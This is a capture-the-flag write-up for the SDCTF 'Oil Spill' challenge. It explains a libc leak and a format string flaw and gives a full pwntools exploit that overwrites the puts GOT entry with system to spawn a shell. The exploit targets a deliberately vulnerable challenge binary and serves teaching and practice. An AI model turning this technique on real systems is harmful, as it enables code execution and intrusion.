Tags: got-overwrite pwn
Rating:
# Oil Spill
## Challenge
Darn, these oil spills are going crazy nowadays. It looks like there's a little bit more than oil coming out of this program though...
Connect ```nc oil.sdc.tf 1337```
[binary](https://github.com/tj-oconnor/ctf-writeups/blob/main/sdctf/oilspill/OilSpill)
By green beans
## Solution
The binary leaks the address of the ```puts``` and ```printf``` functions that will allow us to calculate the libc base.
```
004006e2 printf(format: "%p, %p, %p, %p\n", puts, printf, &var_148, temp)
```
The binary also suffers from a format specifier vulnerability.
```
00400724 fgets(buf: &var_148, n: 0x12c, fp: stdin)
00400738 printf(format: &var_148)
```
Since the binary does not have ```RELRO``` enabled, we can overwrite the GOT entries
```
└─# pwn checksec ./OilSpill
[*] '/root/workspace/ctfs/sdctf/oilspill/OilSpill'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
````
We will essentially turn puts('Interesting Proposition') into system('/bin/sh\0') by ovewriting the .got entry for ```puts``` and the .data entry for ```x```
```
0040073d 488d3d3c052000 lea rdi, [rel x] {"Interesting Proposition"}
00400744 e837feffff call puts
...
00600c80 x:
00600c80 49 6e 74 65 72 65 73 74 69 6e 67 20 50 72 6f 70 Interesting Prop
00600c90 6f 73 69 74 69 6f 6e 00 osition.
````
Our final solution follows:
```python
from pwn import *
binary = args.BIN
context.terminal = ["tmux", "splitw", "-h"]
e = context.binary = ELF(binary,checksec=False)
r = ROP(e)
if args.REMOTE:
libc = ELF('libc6_2.27-3ubuntu1.5_amd64.so',checksec=False)
else:
libc = ELF('libc6_2.33-6_amd64.so',checksec=False)
gs = '''
continue
'''
def start():
if args.GDB:
return gdb.debug(e.path, gdbscript=gs)
elif args.REMOTE:
return remote('oil.sdc.tf',1337)
else:
return process(e.path)
p = start()
def leak_libc():
leaks=p.recvline().split(b',')
puts_addr = int(leaks[0],16)
printf_addr = int(leaks[1],16)
log.info("Puts Leak: %s" %hex(puts_addr))
log.info("Printf Leak: %s" %hex(printf_addr))
return puts_addr, printf_addr
def calc_base(puts_addr,printf_addr):
base_leak_1 = puts_addr - libc.sym['puts']
base_leak_2 = printf_addr - libc.sym['printf']
log.info("Base Leak Off Puts: %s" %hex(base_leak_1))
log.info("Base Leak Off Printf: %s" %hex(base_leak_2))
libc.address=base_leak_1
def got_write_sys():
payload_writes = {
e.got['puts']: libc.sym['system'],
0x600c80: b'/bin/sh\0'
}
payload = fmtstr_payload(8,payload_writes,write_size='short')
p.sendline(payload)
p.recvline()
p.interactive()
puts_addr, printf_addr = leak_libc()
calc_base(puts_addr,printf_addr)
got_write_sys()
```